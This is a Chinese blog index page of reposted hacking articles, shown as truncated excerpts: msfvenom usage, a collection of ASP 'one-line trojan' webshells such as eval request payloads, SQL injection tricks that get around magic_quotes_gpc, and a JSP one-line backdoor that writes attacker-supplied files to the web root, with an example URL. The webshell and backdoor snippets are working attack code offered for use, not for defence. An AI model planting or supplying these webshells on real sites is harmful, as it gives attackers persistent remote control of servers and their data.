神器metasploit中Msfvenom 的用法（外文翻译转）
摘要：Options: -p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom payloads -l, --list [module_type] List a module type example: payloads, encoders, nops, all -n, --nopsled [length] Prepend a nopsled of [length] size on to the payload -f, --format [format] Format to output
阅读全文
各种一句话大集合（转）
摘要：asp一句话木马程序后门代码<%eval request("admin163")%>程序代码 <%execute request("admin163")%>程序代码 <%execute(request("admin163"))%>程序代码 <%execute request("admin163")%><%'<% loop <%:%>程序后门代码 <%'<% loop <%:%><%execute r
阅读全文
开启magic_quote_gpc后的sql注入技巧（转）
摘要：通过启用php.ini配置文件中的相关选项，就可以将大部分想利用SQL注入漏洞的骇客拒绝于门外。 开启magic_quote_gpc=on之后，能实现addslshes()和stripslashes()这两个函数的功能。在PHP4.0及以上的版本中，该选项默认情况下是开启的，所以在PHP4.0及以上的版本中，就算PHP程序中的参数没有进行过滤，PHP系统也会对每一个通过GET、POST、COOKIE方式传递的变量自动转换，换句话说，输入的注入攻击代码将会全部被转换，将给攻击者带来非常大的困难。 虽然如此，攻击者仍然有机会进行SQL注入攻击。。。。。。前提是，当参数为数字型的时候，且未经过Int
阅读全文
.ｊｓｐ获取路径（转）
摘要：<%@ page contentType="text/html; charset=gb2312" language="java" import="java.io.*" errorPage="" %><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>Untitled Document</ti
阅读全文
JSP一句话后门(转)
摘要：＜% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %＞ 这个 后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url! http://localhost/1.jsp?f=1.txt&t=hello 然后:ht
阅读全文
浙公网安备 33010602011771号